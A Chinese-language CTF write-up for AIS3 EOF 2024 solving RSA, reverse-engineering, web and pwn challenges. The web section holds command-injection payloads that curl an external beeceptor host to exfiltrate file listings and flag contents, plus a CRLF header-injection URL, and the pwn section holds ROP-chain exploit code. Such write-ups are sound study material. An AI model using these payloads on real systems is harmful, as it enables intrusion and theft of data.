AIS3 EOF 2024

Crypto
Baby RSA
Source Code
1 | |
Recon
這一題也是想了有點久,翻了RSA相關攻擊的手冊,也想不出個所以然,原本以為是那種公鑰指數過小的問題,但這個前提建立在一開始的plaintext不能太大,才可以用開三次方根的方式找flag,先看source code在幹嘛好了
-
Setting Up
首先它會先設定基本的RSA需要的公私鑰,以便後續使用
- 加密Flag
-
Chosen Ciphertext to Decrypt → XOR Random → Encrypt New Plaintext
這一段for loop會做三次,意思是我們可以任意選擇要解密的ciphertext,然後解密完的結果直接和random number XOR,最後return這東西加密的結果
一開始有另外一個想法是chosen ciphertext attack,但我們拿不到解密後的東西,所以也不是這個攻擊,後來看到coppersmith相關攻擊的一系列文章,發現如果我給oracle解密的ciphertext都是前一次拿到的ciphertext的話,有一點點像是Related Message Attack,詳情如下: 已知
\[\begin{aligned} ct &= flag^3\ (mod\ n)\\ m_1 &= c_1^d\ (mod\ n)\to c_{m_1}=(m_1\oplus x_1)^3\ (mod\ n)\\ m_2 &= c_2^d\ (mod\ n)\to c_{m_2}=(m_2\oplus x_2)^3\ (mod\ n)\\ m_3 &= c_3^d\ (mod\ n)\to c_{m_3}=(m_3\oplus x_3)^3\ (mod\ n)\\ \end{aligned}\]如果我們輸入到oracle的ciphertext,依序為$ct,c_{m_1},c_{m_2}$,則我們會有以下關係
\[\begin{aligned} m_1 = c_1^d\ (mod\ n)&=ct^d\ (mod\ n)=flag^{3\cdot d}\ (mod\ n)=flag\\ \to c_{m_1}&=(flag\oplus x_1)^3\ (mod\ n)\\ m_2 = c_2^d\ (mod\ n)&=c_{m_1}^d\ (mod\ n)=(flag\oplus x_1)^{3\cdot d}\ (mod\ n)=(flag\oplus x_1)\\ \to c_{m_2}&=(flag\oplus x_1\oplus x_2)^3\ (mod\ n)\\ m_3 = c_3^d\ (mod\ n)&=c_{m_3}^d\ (mod\ n)=(flag\oplus x_1\oplus x_2)^{3\cdot d}\ (mod\ n)=(flag\oplus x_1\oplus x_2)\\ \to c_{m_1}&=(flag\oplus x_1\oplus x_2\oplus x_3)^3\ (mod\ n)\\ \end{aligned}\]此時他們之間好像就有產生某種關係,但具體來說要怎麼用呢?其實這一題不是用coppersmith的related message attack,但讓他們之間產生關係是一個重要的方向,試想,如果我們可以構造輸入oracle的ciphertext讓XOR的效果相當於加法的話,是不是就是copphersmith short pad的經典公式:
\[M_1=2^m\cdot M_0+r_1(mod\ n), 0\le r_1\le 2^m\]Exploit
其實就是利用RSA的homomorphism,因為random number的大小是$2^{64}$,如果把它加密再和$ct$相乘,其實就是相當於$2^{64}$先和$flag$相乘再加密,如此的話就意味著我們讓flag左移64個bits,這樣的話和random number XOR就相當於是相加,也就符合前面提到的公式:
\[\begin{aligned} ct\cdot (2^{64})^3\ (mod\ n)&=(flag\cdot (2^{64}))^3 (mod\ n)\\ \to m_1&=c_1^d(mod\ n)=(flag\cdot (2^{64}))^{3\cdot d}(mod\ n)=flag\cdot (2^{64})\\ \to c_{m_1}&=((flag\cdot (2^{64}))\oplus x_1)^3 (mod\ n)=(flag\cdot (2^{64}) + x_1)^3 (mod\ n) \end{aligned}\]此時$m=64, x_1=r_1, M_0=flag$ 最後就可以用網路上的script解這一題
按照script的寫法其實只需要$c_1,c_2$而不用$c_3$,不過我猜這應該是為了加速用的
1 | |
1 | |
Flag: AIS3{C0pPer5MI7H$_SH0r7_p@D_a7T4ck}
Reverse
Flag Generator
Source Code
IDA Main Function
1 | |
IDA writeFile
1 | |
Recon
這是一個水題,簡單觀察一下code會發現writeFile的地方並不會真正的把前面處理好的byte code寫進去flag.exe裡面,他只會在前端stderr一個訊息給我們,因此最簡單的作法是直接動態patch,讓他可以正常寫入一個file中
- 首先,要先想一個一個正常的fwrite的calling convention為何,參考網路
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)按照微軟的calling convention來說,
- $rcx要放寫入的block的地址
- $rdx要放每次寫入的byte數量,以這一題來說就維持1 byte
- $r8要放總共寫入多少byte,以這一題來說是0x600
- $r9要放寫入檔案的fd
- 再來就是紀錄一下各個東西的數值,先breakpoint在writeFile的最一開始,紀錄calling convention帶過來的block address,以這一次為例是:
0x20CBEA81430
- 接著跳到fopen看他open flag.exe這個file的stream為何,以這一次為例是
0x7FFC51AB8A90
- 然後就可以跳到call fwrite的地方修改calling convention
- 原本

- Patch後
最後就會看到當前目錄的flag.exe是有東西的
- 原本
Exploit
實際執行flag.exe就會跳出MessageBox顯示flag了

Flag: AIS3{US1ng_w1Nd0wS_is_such_a_p@1N....}
PixelClicker
Source code
IDA Main Function
1 | |
Recon
這一題有一點點難,主要是不太知道要從哪邊開始patch,不過觀察整體的架構就大概知道怎麼做,首先這一題主要做的事情是:
- 開一個pixel clicker的selector

- 接著user可以自由選取左邊的pixels,並且選取完後會顯示在右邊,從左到右依序顯示
- 看code會發現圖片大小應該是600 * 600的大小(每一個pixel是4 bytes),所以我們只要選取完360000次,並且每一次都和原始的flag一樣的話就結束然後print出好棒棒的MessageBoxA
通常這種題目都是把flag內建在code當中,然後利用一些簡單的加解密或是純粹的混淆把他import到memory中再進行對比,所以我們的目標很簡單就是想辦法把原本的flag memory dump出來
後來發現根本不用特別patch就可以知道flag的圖片pixel在哪邊,順便說明一下這一題的檢查機制是等我們輸入完每600個pixel後,會進行Line Check,如果都正確才會進到下一round的選擇,所以我一開始就在想要怎麼樣才能直接bypass那個檢查,直接給我flag的Pixel,後來發現只要我先在最一開始的position variable if判斷式中直接輸入0x259,也就是601,他會直接往下執行,並且在#26的地方會知道flag在哪裡,如下圖
- RCX改成0x259會直接執行下去

- 到discompiler的#26的地方時,RBX所指向的address就是flag的pixel

- 此時只要用scylla把mem dump出來即可,大小為hex(36000個pixels * 4 bytes) = 0x15f900

- 最後把data轉換成image即可
Exploit
1 | |
Flag: AIS3{jU$T_4_51mpl3_ClICkEr_gam3}
Web
DNS Lookup Tool | Final Edition
Source Code
1 | |
Recon
這一題爆炸難,這麼多人解出來讓我很驚訝,也許我用的方式和別人有眾多差異ㄅ
首先,這一題和NTU CS的DNS Lookup Tool | WAF幾乎一樣,只是多了兩個wildcard的黑名單,以及query host command的寫法不一樣,而且仔細看內容會發現,最後吐回來到前端的東西,也只是交給echo決定而已,實際上我們拿不到host query的內容,抑或是command injection的回顯,所以一開始有想說是不是像NTU CS作業的Double Injection Flag1那樣是利用Time Based決定我們query的command內容為何,但如果要用到這麼複雜的話,應該…沒那麼多人會解????也許大家都是Web天才,但後來又翻到Particles.js的過程,發現其實我都可以做到command injection,理當可以向外送封包,然後利用$()或是`的字元,就可以把我query的command result帶出來,一開始是像之前一樣用beecptor,不確定是不是打題目到頭昏了,一直無法query成功,但隔天就好了???反正就是簡單的curl然後下grep / find等command就找的到了,最後附上我大ChatGPT的貢獻
Exploit
記得把? urlencode成%3f,不然會被說是hacker
- 找flag檔名(搭配regular expression):
Payload:
1
`curl https://sbk6401.free.beeceptor.com/%3Ff=$(find / -maxdepth 1 -type f -regex '/f\lag.+')`
- cat flag
Payload:
1
`curl https://sbk6401.free.beeceptor.com/%3Ff=$(cat /fl\ag_AFobuQoUxPlLBzGD)`
- 其他種payload(直接找檔案內容含有ais3字樣的檔案)→比較萬能的Payload:
這個是不需要知道檔案名稱,僅知道內容的時候可以用,並且他會連同檔案名稱一起顯示
Payload:
1
`curl https://sbk6401.free.beeceptor.com/%3Ff=$(find / -maxdepth 1 -type f -exec grep -i "ais3{" --directories=skip {} +)`
Flag: AIS3{jUST_3@$Y_coMMaND_Inj3c7ION}
Internal
Source Code
Server Source Code
1 | |
NGINX Config
1 | |
docker-compose.yml
1 | |
Dockerfile
1 | |
Recon
這一題也是爆炸難,先看dockerfile和docker-compose會知道它有開了兩個服務,一個是proxy,用的是nginx;例外一個是本來的web服務,而觀察nginx的config file會發現只要query /flag就會被nginx擋住,因為它只允許internal的頁面存取,也就是說如果我是從/這個頁面轉到/flag的話才可以存取,如果是從外往直接access,就會被擋掉,而值得注意的是nginx的port是7778,而實際轉過去到web服務的是7777 port
再觀察server怎麼寫,前面寫如果我的path是/flag就會response flag回來,然後它還有給一個redir的參數,它會經過urlparse + parse_qs + URL_REGEX等parsing的操作後,跳轉到我們輸入的地方,不過通常跳轉如果沒有特別設定的話,還是會像我們正常query /flag一樣會回傳404,被擋下來,所以要找一個nginx常用的一個header讓他可以在internal內部跳轉,我找到的是==X-Accel-Redirect==,原本我以為會是XFF這樣的header但還是沒辦法,一定要是nginx可以用的,所以事情就變得比較單純了,我們先嘗試redir到127.0.0.1:7778,然後利用CRLF injection增加header,也就是X-Accel-Redirect: /flag,這樣的話payload進到server之後的流程就會變成:
1 | |
其實這樣就像是我直接從server內部(/)access internal(/flag)一樣
Exploit
在local端測試時可以看到proxy這邊的log如下
而website的log如下
代表他在內部成功跳轉,並且query到flag了
Payload: http://10.105.0.21:11302/?redir=http://10.105.0.21:11302/%0D%0AX-Accel-Redirect%3A%20/flag
Flag: AIS3{JUsT_s0M3_fuNnY_n91Nx_FEatuR3}
PWN
jackpot
Source Code
1 | |
Recon
這一題也是爆炸難,不過和之前寫的NTU CS HW3 - HACHAMA其實很像,所以還寫的出來
起手式看他的linux version和checksec
1 | |
- 首先他有設定seccomp,所以不用想要開shell,再加上題目敘述有提到flag放在根目錄,所以還是用萬能的open/read/write把flag讀出來到前端
- main function中首先看到他叫我們輸入一個任意數字,會return一個在stack上的content,因為ticket_pool這個變數是在local scope,所以讀取的內容就會是stack上的東西,另外他也沒有限制我們寫入的number為多少,所以我可以任意撈stack上的資料,直覺先找libc_start_main然後回推libc base address
可以看到ticket_pool的位置就在$rsp的下面,所以從+0x0010的地方開始算,會發現libc_start_main就在第31個(從0開始算),此時就可以很輕易的抓出leak_libc,然後回推libc base
1
2
3
4
5
6
7
8r.recvuntil(b'Give me your number: ') r.sendline(b'31') r.recvuntil(b'Here is your ticket 0x') leak_libc = int(r.recvline()[:-1], 16) log.info(f'{hex(leak_libc)=}') libc_base = leak_libc - 0x1d90 - 0x28000 log.info(f'{hex(libc_base)=}') - 接著看main function的後續,發現他叫我們輸入0x100到name的變數中,但是name的大小是100(0x64),所以有一個明顯的BOF,此時直覺就是開始蓋ROP,可以用ROPgadget找有用的gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36pop_rax_ret = libc_base + 0x0000000000045eb0 pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x000000000002be51 pop_rdx_ret = libc_base + 0x00000000000796a2 syscall_ret = libc_base + 0x0000000000091316 rop_open_flag = flat( # Open filename # fd = open("/flag", 0); pop_rax_ret, 2, pop_rdi_ret, bss_flag_addr, pop_rsi_ret, 0, syscall_ret, main_fn ) rop_read_flag = flat( # Read the file # read(fd, buf, 0x30); pop_rax_ret, 0, pop_rdi_ret, 3, pop_rsi_ret, bss_flag_addr + 0x2b8, pop_rdx_ret, 0x30, syscall_ret, main_fn ) rop_write_flag = flat( # Write the file # write(1, buf, 0x30); pop_rax_ret, 1, pop_rdi_ret, 1, pop_rsi_ret, bss_flag_addr + 0x2b8, pop_rdx_ret, 0x30, syscall_ret ) - 到這邊為止都是基本操作,但真正難的地方在於我們寫的地方其實不太夠,畢竟他也只是多了156個bytes,要寫完ORW是不太可能的,因此要想想看stack pivot,到這邊也還可以,但因為仔細看實際執行的assembly會發現我們需要精心設計RBP才不會觸發segmentation fault,仔細看#9會發現他把$rbp+$rax*8-0xf0指向的地方給$eax,所以這邊就要特別注意,如果我們可控的$rbp到這一行指向奇怪的地方會觸發SIGSEGV,所以實戰中我也是慢慢調,不過因為每做一次操作都要想辦法調到位就有點煩,另外想回頭講一下,為甚麼read / write指定的buf會在bss_flag_addr+0x2b8的地方,因為如果距離RBP太近的話,有可能會被
puts("You get nothing QQ");這一行洗掉的風險,原因是他要先把東西push到stack上,所以如果read / write的buf address弄不好就會被蓋掉1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17.text:00000000004013D4 lea rax, [rbp+buf] .text:00000000004013D8 mov edx, 100h ; nbytes .text:00000000004013DD mov rsi, rax ; buf .text:00000000004013E0 mov edi, 0 ; fd .text:00000000004013E5 call _read .text:00000000004013E5 .text:00000000004013EA mov eax, [rbp+var_F4] .text:00000000004013F0 cdqe .text:00000000004013F2 mov rax, [rbp+rax*8+var_F0] .text:00000000004013FA mov rdx, rax .text:00000000004013FD lea rax, jackpot .text:0000000000401404 cmp rdx, rax .text:0000000000401407 jnz short loc_401424 .text:0000000000401407 .text:0000000000401409 lea rax, aYouGetTheJackp ; "You get the jackpot!!" .text:0000000000401410 mov rdi, rax ; s .text:0000000000401413 call _puts1
2
3
4
5
6
7r.send(b'a'*14*8 + p64(bss_rbp) + p64(main_fn)) # raw_input() r.send(b'a'*13*8 + b'/flag'.ljust(0x8, b'\x00') + p64(bss_rbp+0x88+0x70) + rop_open_flag) raw_input() r.send(b'a'*13*8 + b'/flag'.ljust(0x8, b'\x00') + p64(bss_rbp+0x88*2+0x70+0x40+0x4+0x48) + rop_read_flag) # raw_input() r.send(b'a'*13*8 + b'/flag'.ljust(0x8, b'\x00') + p64(bss_rbp+0x288) + rop_write_flag)1
2
3
4
5
6
7至此,我的ROP流程是這樣的: main function → ROP open flag → main function → ROP read flag → main function → ROP write flag這樣的話我每一次蓋ROP只要蓋一個操作就好,就和HACHAMA那一題一樣
Exploit - Leak Libc + BOF + Stack Pivot + ORW
提醒一下,最後面實際丟ROP上去的時候最後中間都隔一個raw_input(),還是和HACHAMA遇到的問題一樣可能是pwntools的IO問題
1 | |
Flag: AIS3{Ju5T_a_ea5y_1nT_0veRflow_4nD_Buf_OvErfLOW}